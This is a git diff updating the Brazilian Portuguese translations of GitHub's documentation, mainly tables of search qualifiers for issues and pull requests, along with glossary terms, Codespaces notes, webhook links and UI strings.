-| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved.
-| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes.
-| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person.
-| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <code>user-review-requested:@me</code> | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %}
-| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `review:none`              | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) identifica as pull requests que não foram revisadas.                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `review:required`          | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) identifica as pull requests que exigem uma revisão antes do merge.                                                                                                                                                                                                                                                                                                                                                                             |
+| `review:approved`          | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) identifica as pull requests aprovadas por um revisor.                                                                                                                                                                                                                                                                                                                                                                                          |
+| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) identifica as pull requests nas quais um revisor solicitou alterações.                                                                                                                                                                                                                                                                                                                                                       |
+| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) identifica as pull requests revisadas por uma pessoa específica.                                                                                                                                                                                                                                                                                                                                                                 |
+| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) identifica as pull requests nas quais uma pessoa específica foi solicitada para revisão. Os revisores solicitados deixam de ser relacionados nos resultados da pesquisa depois de revisarem uma pull request. Se a pessoa solicitada está em uma equipe solicitada para revisão, as solicitações de revisão para essa equipe também aparecerão nos resultados de busca.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <code>user-review-requested:@me</code> | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) corresponde a pull requests que foi solicitado diretamente que você revise.{% endif %}
+| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) identifica as pull requests que tem solicitações de revisão da equipe `atom/design`. Os revisores solicitados deixam de ser relacionados nos resultados da pesquisa depois de revisarem uma pull request.                                                                                                                                                                                                               |
 
-## Search by when an issue or pull request was created or last updated
+## Pesquisar por data da criação ou da última atualização de um problema ou uma pull request
 
-You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier.
+Você pode filtrar problemas com base na data de criação ou da última atualização. Para a criação do problema, você pode usar o qualificador `created`. Para descobrir quando um problema foi atualizado pela última vez, você precisará usar o qualificador `updated`.
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Os dois usam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                               |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) corresponde a problemas abertos criados antes de 2011 nos repositórios escritos em C#. |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) corresponde a problemas com a palavra "weird" no texto que foram atualizados após fevereiro de 2013.     |
 
-## Search by when an issue or pull request was closed
+## Pesquisar por data de encerramento de um problema ou uma pull request
 
-You can filter issues and pull requests based on when they were closed, using the `closed` qualifier.
+Você pode filtrar somente problemas e pull requests fechados usando o qualificador `closed`.
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Esse qualificador usa a data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014.
-| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                                  |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) corresponde a problemas e pull requests no Swift fechados após 11 de junho de 2014.                                             |
+|                            | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) corresponde a problemas e pull requests com a palavra "data" no texto, que foram fechados antes de outubro de 2012. |
 
-## Search by when a pull request was merged
+## Pesquisar por data do merge da pull request
 
-You can filter pull requests based on when they were merged, using the `merged` qualifier.
+Você pode filtrar somente as pull requests com merge usando o qualificador `merged`.
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Esse qualificador usa a data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011.
-| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                                            |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merge:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) corresponde a pull requests em repositórios do JavaScript que foram mesclados antes de 2011.                                    |
+|                            | [**ast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) corresponde a pull requests no Ruby com a palavra "fast" no título que foram mesclados após maio de 2014. |
 
-## Search based on whether a pull request is merged or unmerged
+## Pesquisar somente pull request com merge ou sem merge
 
-You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier.
+Você pode filtrar as pull requests com ou sem merge usando o qualificador `is`.
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix."
-| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error."
+| Qualifier     | Exemplo                                                                                                                                                                     |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:merged`   | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) identifica as pull requests com merge que têm a palavra "bugfix". |
+| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) identifica problemas e pull requests fechados com a palavra "error".          |
 
-## Search based on whether a repository is archived
+## Pesquisar com base no fato de o repositório estar arquivado
 
-The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository.
+O qualificador `archived` restringe os resultados a problemas ou pull requests em um repositório arquivado.
 
-| Qualifier     | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to.
-| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to.
+| Qualifier        | Exemplo                                                                                                                                                                                                      |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) identifica problemas e pull requests que contêm a palavra "GNOME" em repositórios arquivados aos quais você tem acesso.   |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) identifica problemas e pull requests que contêm a palavra "GNOME" em repositórios arquivados aos quais você tem acesso. |
 
-## Search based on whether a conversation is locked
+## Pesquisar conversas bloqueadas e não bloqueadas
 
-You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
+Você pode pesquisar problema ou pull requests que têm uma conversa bloqueada usando o qualificador `is`. Para obter mais informações, consulte "[Bloquear conversas](/communities/moderating-comments-and-conversations/locking-conversations)".
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived.
-| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived.
+| Qualifier     | Exemplo                                                                                                                                                                                                                                                                                       |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:locked`   | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) identifica problemas ou pull requests com as palavras "code of conduct" que têm uma conversa bloqueada em um repositório que não está arquivado. |
+| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) identifica problemas ou pull requests com as palavras "code of conduct" que têm uma conversa desbloqueada em um repositório que não está arquivado.     |
 
-## Search by missing metadata
+## Pesquisar por metadados ausentes
 
-You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes:
+Você pode limitar a pesquisa a problemas e pull requests que não têm determinados metadados usando o qualificador `no`. Esses metadados incluem:
 
-* Labels
-* Milestones
-* Assignees
-* Projects
+* Etiquetas
+* Marcos
+* Responsáveis
+* Projetos
 
-| Qualifier        | Example
-| ------------- | -------------
-| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels.
-| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint."
-| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories.
-| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build."
+| Qualifier      | Exemplo                                                                                                                                                                                                                                                                       |
+| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `no:label`     | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) identifica problemas e pull requests com a palavra "priority" que não têm nenhuma etiqueta.                                                                                              |
+| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) identifica problemas que não estão associados a um marco e contêm a palavra "sprint".                                                                        |
+| `no:assignee`  | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) identifica problemas que não estão associados a um responsável, contêm a palavra "important" e estão em repositórios Java. |
+| `no:project`   | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) identifica problemas que não estão associados a um quadro de projeto e contêm a palavra "build".                                                                            |
 
-## Further reading
+## Leia mais
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
diff --git a/translations/pt-BR/content/sponsors/guides.md b/translations/pt-BR/content/sponsors/guides.md
index 3754acf94b..62b299107f 100644
--- a/translations/pt-BR/content/sponsors/guides.md
+++ b/translations/pt-BR/content/sponsors/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Sponsors guides
-shortTitle: Guides
-intro: 'Learn how to make the most of {% data variables.product.prodname_sponsors %}.'
+title: Guias do GitHub Sponsors
+shortTitle: Guias
+intro: 'Aprenda a tirar o melhor de {% data variables.product.prodname_sponsors %}.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/pt-BR/data/glossaries/external.yml b/translations/pt-BR/data/glossaries/external.yml
index 40fa76d3d7..455c0fa9b6 100644
--- a/translations/pt-BR/data/glossaries/external.yml
+++ b/translations/pt-BR/data/glossaries/external.yml
@@ -179,11 +179,11 @@
   description: >-
     O branch base para os novos pull requests e commits de código em um repositório. Cada repositório tem pelo menos um branch, que o Git cria quando você inicializa o repositório. Geralmente, o primeiro branch é denominado {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, e, muitas vezes, é o branch padrão.
 - 
-  term: dependents graph
+  term: gráfico de dependentes
   description: >-
     Gráfico que mostra os pacotes, projetos e repositórios que dependem de um repositório público.
 - 
-  term: dependency graph
+  term: gráfico de dependências
   description: >-
     Gráfico que mostra os pacotes e projetos dos quais o repositório depende.
 - 
@@ -210,7 +210,7 @@
   description: Notificações enviadas para o endereço de e-mail de um usuário.
 - 
   term: enterprise account
-  description: As contas corporativas permitem que você gerencie a política e a cobrança centralmente para várias organizações de {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.gated-features.enterprise-accounts %}
+  description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %}
 - 
   term: Explorador
   description: >-
@@ -248,7 +248,7 @@
 - 
   term: gist
   description: >-
-    A gist is a shareable file that you can edit, clone, and fork on GitHub. You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL.
+    Um gist é um arquivo compartilhável que você pode editar, clonar e bifurcar no GitHub. Você pode criar um gist {% ifversion ghae %}interno{% else %}público{% endif %} ou secreto, embora os gists secretos estejam disponíveis para {% ifversion ghae %}qualquer membro corporativo{% else %}qualquer pessoa{% endif %} com a URL.
 - 
   term: Git
   description: >-
@@ -373,7 +373,7 @@
   description: >-
     Conta pessoal que não pode ser acessada pelo usuário. As contas ficam bloqueadas após o downgrade da modalidade paga para a grátis ou após o vencimento do plano da conta paga.
 - 
-  term: management console
+  term: console de gerenciamento
   description: >-
     Seção na interface do GitHub Enterprise que contém recursos administrativos.
 - 
@@ -392,7 +392,7 @@
   description: >-
     O branch padrão em muitos repositórios Git. Por padrão, quando você cria um novo repositório Git na linha de comando, um branch denominado `master` será criado. Muitas ferramentas agora usam um nome alternativo para o branch padrão.{% ifversion fpt or ghes > 3.1 or ghae %} Por exemplo, quando você cria um novo repositório no GitHub, o branch padrão é denominado `main`.{% endif %}
 - 
-  term: members graph
+  term: gráfico de integrantes
   description: Gráfico que exibe todas as bifurcações de um repositório.
 - 
   term: menção
@@ -418,7 +418,7 @@
   description: >-
     Equipe secundária de uma equipe principal. É possível ter várias equipes secundárias (ou aninhadas).
 - 
-  term: network graph
+  term: gráfico de rede
   description: >-
     Gráfico que exibe o histórico de branches de toda a rede do repositório, incluindo branches do repositório raiz e branches de bifurcações que contêm commits exclusivos da rede.
 - 
@@ -539,10 +539,10 @@
   description: >-
     Comentários de colaboradores sobre uma pull request que aprovem as alterações ou solicitem outras alterações antes do merge da pull request.
 - 
-  term: pulse graph
+  term: gráfico Pulse
   description: Gráfico que mostra uma visão geral da atividade de um repositório.
 - 
-  term: punch graph
+  term: gráfico Punch
   description: >-
     Gráfico que mostra a frequência de atualizações em um repositório conforme o dia da semana e a hora do dia.
 - 
diff --git a/translations/pt-BR/data/reusables/actions/hardware-requirements-after.md b/translations/pt-BR/data/reusables/actions/hardware-requirements-after.md
index 04a9407fce..c0f049abd0 100644
--- a/translations/pt-BR/data/reusables/actions/hardware-requirements-after.md
+++ b/translations/pt-BR/data/reusables/actions/hardware-requirements-after.md
@@ -1,7 +1,7 @@
 | vCPUs | Memória | Simultaneidade máxima |
 |:----- |:------- |:--------------------- |
 | 8     | 64 GB   | 300 trabalhos         |
-| 16    | 160 GB  | 700 trabalhos         |
-| 32    | 128 GB  | 1300 trabalhos        |
+| 16    | 128 GB  | 700 trabalhos         |
+| 32    | 160 GB  | 1300 trabalhos        |
 | 64    | 256 GB  | 2000 trabalhos        |
-| 96    | 384 GB  | 4000 trabalhos        |
\ No newline at end of file
+| 96    | 384 GB  | 4000 trabalhos        |
diff --git a/translations/pt-BR/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/pt-BR/data/reusables/classroom/assignments-to-prevent-submission.md
index 7cfabf65ee..ad1874adb9 100644
--- a/translations/pt-BR/data/reusables/classroom/assignments-to-prevent-submission.md
+++ b/translations/pt-BR/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -1 +1 @@
-Para impedir a aceitação ou submissão de uma atividade por alunos, desmarque **Habilitar a URL do convite da atividade**. Para editar a atividade, clique em {% octicon "pencil" aria-label="The pencil icon" %} **Editar atividade**.
+To prevent acceptance or submission of an assignment by students, you can change the "Assignment Status" within the "Edit assignment" view. When an assignment is Active, students will be able to accept it using the invitation link. When it is Inactive, this link will no longer be valid.
diff --git a/translations/pt-BR/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/pt-BR/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..43f134fbf4
--- /dev/null
+++ b/translations/pt-BR/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,5 @@
+   {% note %}
+
+   **Note**: Your choice of available machine types may be limited by a policy configured for your organization, or by a minimum machine type specification for your repository. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" and "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+   {% endnote %}
diff --git a/translations/pt-BR/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/pt-BR/data/reusables/codespaces/creating-a-codespace-in-vscode.md
index cd96fc1ee2..df9e3ba492 100644
--- a/translations/pt-BR/data/reusables/codespaces/creating-a-codespace-in-vscode.md
+++ b/translations/pt-BR/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -15,4 +15,6 @@ After you connect your account on {% data variables.product.product_location %}
 
 5. Clique no tipo de máquina na qual você deseja desenvolver.
 
-   ![Tipos de instância para um novo {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/choose-sku-vscode.png)
\ No newline at end of file
+   ![Tipos de instância para um novo {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
diff --git a/translations/pt-BR/data/reusables/desktop/delete-branch-win.md b/translations/pt-BR/data/reusables/desktop/delete-branch-win.md
index f08528bce1..6a4d678509 100644
--- a/translations/pt-BR/data/reusables/desktop/delete-branch-win.md
+++ b/translations/pt-BR/data/reusables/desktop/delete-branch-win.md
@@ -1 +1 @@
-1. Na sua barra de menu, clique em **Branch** e, em seguida, clique em **Excluir...**. Você também pode pressionar <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd>.
+1. Na sua barra de menu, clique em **Branch** e, em seguida, clique em **Excluir...**. You can also press <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd>.
diff --git a/translations/pt-BR/data/reusables/docs/you-can-read-docs-for-your-product.md b/translations/pt-BR/data/reusables/docs/you-can-read-docs-for-your-product.md
index 8de7a8d98f..6e35bcd929 100644
--- a/translations/pt-BR/data/reusables/docs/you-can-read-docs-for-your-product.md
+++ b/translations/pt-BR/data/reusables/docs/you-can-read-docs-for-your-product.md
@@ -1 +1 @@
-You can read documentation that reflects the features available to you on {% data variables.product.product_name %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+You can read documentation that reflects the features available to you on {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
diff --git a/translations/pt-BR/data/reusables/dotcom_billing/codespaces-report-download.md b/translations/pt-BR/data/reusables/dotcom_billing/codespaces-report-download.md
new file mode 100644
index 0000000000..bb0681f0b5
--- /dev/null
+++ b/translations/pt-BR/data/reusables/dotcom_billing/codespaces-report-download.md
@@ -0,0 +1 @@
+1. Optionally, next to "Usage this month", click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_codespaces %} to the account's primary email address. ![Baixar relatório em CSV](/assets/images/help/codespaces/usage-report-download.png)
\ No newline at end of file
diff --git a/translations/pt-BR/data/reusables/gated-features/enterprise-accounts.md b/translations/pt-BR/data/reusables/gated-features/enterprise-accounts.md
index 7afc75f553..561e5b3add 100644
--- a/translations/pt-BR/data/reusables/gated-features/enterprise-accounts.md
+++ b/translations/pt-BR/data/reusables/gated-features/enterprise-accounts.md
@@ -1 +1 @@
-As contas empresariais estão disponíveis com {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} e {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Sobre contas corporativas]({% ifversion fpt or ghec %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts)".
+As contas empresariais estão disponíveis com {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} e {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Sobre contas corporativas]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}
diff --git a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
index 882792b2a9..b96e4b185e 100644
--- a/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
+++ b/translations/pt-BR/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -2,4 +2,4 @@ Before you enable team synchronization for Okta, you or your IdP administrator m
 
 - Configure the SAML, SSO, and SCIM integration for your organization using Okta. Para obter mais informações, consulte "[Configuring SAML single sign-on and SCIM using Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)" (Configurar SAML logon único e SCIM usando Okta)
 - Forneça o URL do inquilino para sua instância Okta.
-- Gere um token SSWS válido com permissões de administrador somente leitura para a sua instalação do Okta como usuário do serviço. Para obter mais informações, consulte [Criar o token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) e [Usuários de serviços](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm) na documentação de Okta.
+- Gere um token SSWS válido com permissões de administrador somente leitura para a sua instalação do Okta como usuário do serviço. Para obter mais informações, consulte [Criar o token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) e [Usuários de serviços](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm) na documentação de Okta.
diff --git a/translations/pt-BR/data/reusables/organizations/internal-repos-enterprise.md b/translations/pt-BR/data/reusables/organizations/internal-repos-enterprise.md
deleted file mode 100644
index 464b7f7fcb..0000000000
--- a/translations/pt-BR/data/reusables/organizations/internal-repos-enterprise.md
+++ /dev/null
@@ -1,7 +0,0 @@
-{% ifversion fpt or ghec %}
-{% note %}
-
-**Nota:** Repositórios internos estão disponíveis para organizações que fazem parte de uma conta corporativa. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
-
-{% endnote %}
-{% endif %}
diff --git a/translations/pt-BR/data/reusables/webhooks/release_short_desc.md b/translations/pt-BR/data/reusables/webhooks/release_short_desc.md
index 17944e167f..1a8db3d55a 100644
--- a/translations/pt-BR/data/reusables/webhooks/release_short_desc.md
+++ b/translations/pt-BR/data/reusables/webhooks/release_short_desc.md
@@ -1 +1 @@
-Atividade relacionada a uma versão. {% data reusables.webhooks.action_type_desc %} Para obter mais informações, consulte a APTI REST das [versões](/rest/reference/repos#releases)".
+Atividade relacionada a uma versão. {% data reusables.webhooks.action_type_desc %} Para obter mais informações, consulte a APTI REST das [versões](/rest/reference/releases)".
diff --git a/translations/pt-BR/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/pt-BR/data/reusables/webhooks/webhooks-rest-api-links.md
index 02dd1f28a5..03e1f6cc92 100644
--- a/translations/pt-BR/data/reusables/webhooks/webhooks-rest-api-links.md
+++ b/translations/pt-BR/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -1,5 +1,5 @@
 The webhook REST APIs enable you to manage repository, organization, and app webhooks.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} You can use this API to list webhook deliveries for a webhook, or get and redeliver an individual delivery for a webhook, which can be integrated into an external app or service.{% endif %} You can also use the REST API to change the configuration of the webhook. Por exemplo, você pode modificar a URL da carga, tipo de conteúdo, verificação de SSL e segredo. Para obter mais informações, consulte:
 
-- [API REST para os webhooks dos repositórios](/rest/reference/repos#webhooks)
+- [API REST para os webhooks dos repositórios](/rest/reference/webhooks#repository-webhooks)
 - [Organization Webhooks REST API](/rest/reference/orgs#webhooks)
 - [{% data variables.product.prodname_github_app %} Webhooks REST API](/rest/reference/apps#webhooks)
diff --git a/translations/pt-BR/data/ui.yml b/translations/pt-BR/data/ui.yml
index c75a4dc351..4165c05e98 100644
--- a/translations/pt-BR/data/ui.yml
+++ b/translations/pt-BR/data/ui.yml
@@ -22,7 +22,9 @@ search:
   placeholder: Pesquisar tópicos, produtos...
   loading: Carregando
   no_results: Nenhum resultado encontrado
+  search_results_for: Search results for
   no_content: No content
+  matches_displayed: Matches displayed
 homepage:
   explore_by_product: Explorar por produto
   version_picker: Versão
@@ -56,6 +58,7 @@ survey:
   required: Obrigatório
   email_placeholder: email@example.com
   email_label: If we can contact you with more questions, please enter your email address
+  email_validation: Please enter a valid email address
   send: Enviar
   feedback: Thank you! We received your feedback.
   not_support: If you need a reply, please contact support instead.
